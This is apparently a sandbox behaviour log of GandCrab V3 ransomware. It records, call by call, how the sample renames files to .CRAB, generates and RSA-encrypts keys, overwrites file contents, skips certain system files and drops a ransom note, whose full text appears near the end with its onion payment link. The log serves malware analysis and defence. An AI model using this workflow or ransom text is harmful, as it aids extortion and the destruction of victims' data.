	[0119.017] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm.crab")) returned 1
	[0119.018] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.018] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB"
	[0119.018] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB.CRAB"
	[0119.018] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0119.018] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.019] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.019] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.019] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0119.019] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.019] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.019] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e7c0) returned 1
	[0119.019] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.020] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.020] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0119.020] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0119.020] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.020] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.020] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.020] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ec00) returned 1
	[0119.021] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded7a8) returned 1
	[0119.021] CryptGetKeyParam (in: hKey=0xded7a8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0119.021] CryptEncrypt (in: hKey=0xded7a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0119.021] GetLastError () returned 0x0
	[0119.021] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0119.021] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0119.021] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded968) returned 1
	[0119.021] CryptGetKeyParam (in: hKey=0xded968, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0119.021] CryptEncrypt (in: hKey=0xded968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0119.022] GetLastError () returned 0x0
	[0119.022] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.022] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Stock symbols comparison.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\stock symbols comparison.xltm.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0119.022] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.022] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.023] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x100000, lpOverlapped=0x0) returned 1
	[0119.079] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.095] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0119.119] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.122] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.123] WriteFile (in: hFile=0x3f4, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x314b464*=0x100000, lpOverlapped=0x0) returned 1
	[0119.125] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.131] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x6438a, lpOverlapped=0x0) returned 1
	[0119.138] VirtualAlloc (lpAddress=0x0, dwSize=0x64390, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.143] VirtualAlloc (lpAddress=0x0, dwSize=0x64390, flAllocationType=0x3000, flProtect=0x4) returned 0x34e0000
	[0119.151] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.153] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfff9bc76, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.153] WriteFile (in: hFile=0x3f4, lpBuffer=0x34e0000*, nNumberOfBytesToWrite=0x64390, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x34e0000*, lpNumberOfBytesWritten=0x314b464*=0x64390, lpOverlapped=0x0) returned 1
	[0119.154] VirtualFree (lpAddress=0x34e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.156] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.160] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.160] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.160] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0119.160] CloseHandle (hObject=0x3f4) returned 1
	[0119.193] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.193] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.194] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.194] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.194] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.194] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.194] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0119.195] lstrcmpW (lpString1="Welcome to Excel.xltx", lpString2=".") returned 1
	[0119.195] lstrcmpW (lpString1="Welcome to Excel.xltx", lpString2="..") returned 1
	[0119.195] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Welcome to Excel.xltx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx"
	[0119.195] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.195] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79
	[0119.195] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79
	[0119.195] lstrlenW (lpString=".xltx") returned 5
	[0119.195] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.195] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltx ") returned 6
	[0119.195] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.196] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79
	[0119.196] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx") returned 79
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="desktop.ini") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="autorun.inf") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="ntuser.dat") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="iconcache.db") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="bootsect.bak") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="boot.ini") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="ntuser.dat.log") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="thumbs.db") returned 1
	[0119.196] lstrcmpiW (lpString1="Welcome to Excel.xltx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0119.196] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.196] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB") returned 84
	[0119.196] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx")) returned 0x20
	[0119.197] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", dwFileAttributes=0x20) returned 1
	[0119.197] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx.crab")) returned 1
	[0119.199] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.200] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB"
	[0119.200] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB.CRAB"
	[0119.200] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e9e0) returned 1
	[0119.200] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.201] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.201] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.201] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0119.201] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.201] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.201] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0119.202] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.202] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.203] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0119.203] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.203] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.203] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.203] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.203] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0119.204] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded368) returned 1
	[0119.204] CryptGetKeyParam (in: hKey=0xded368, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0119.204] CryptEncrypt (in: hKey=0xded368, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0119.205] GetLastError () returned 0x0
	[0119.205] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0119.205] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e9e0) returned 1
	[0119.205] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xded828) returned 1
	[0119.205] CryptGetKeyParam (in: hKey=0xded828, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0119.205] CryptEncrypt (in: hKey=0xded828, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0119.206] GetLastError () returned 0x0
	[0119.206] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.206] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0119.206] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.207] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.207] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x78c9b, lpOverlapped=0x0) returned 1
	[0119.288] VirtualAlloc (lpAddress=0x0, dwSize=0x78ca0, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.295] VirtualAlloc (lpAddress=0x0, dwSize=0x78ca0, flAllocationType=0x3000, flProtect=0x4) returned 0x34f0000
	[0119.325] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.327] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfff87365, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.327] WriteFile (in: hFile=0x3f4, lpBuffer=0x34f0000*, nNumberOfBytesToWrite=0x78ca0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x34f0000*, lpNumberOfBytesWritten=0x314b464*=0x78ca0, lpOverlapped=0x0) returned 1
	[0119.328] VirtualFree (lpAddress=0x34f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.330] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.344] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.344] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0119.344] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0119.344] CloseHandle (hObject=0x3f4) returned 1
	[0119.352] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.352] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.352] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.353] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.353] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.353] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.353] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0119.353] FindClose (in: hFindFile=0xda7370 | out: hFindFile=0xda7370) returned 1
	[0119.354] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0119.354] lstrcmpW (lpString1="UProof", lpString2=".") returned 1
	[0119.354] lstrcmpW (lpString1="UProof", lpString2="..") returned 1
	[0119.354] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof"
	[0119.354] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\"
	[0119.354] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.354] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0119.361] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0119.361] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0119.361] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0119.361] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.361] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0119.361] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0119.361] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0119.361] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0119.362] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0119.362] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0119.362] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.362] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\\\CRAB-DECRYPT.txt") returned 72
	[0119.362] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\uproof\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0119.365] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
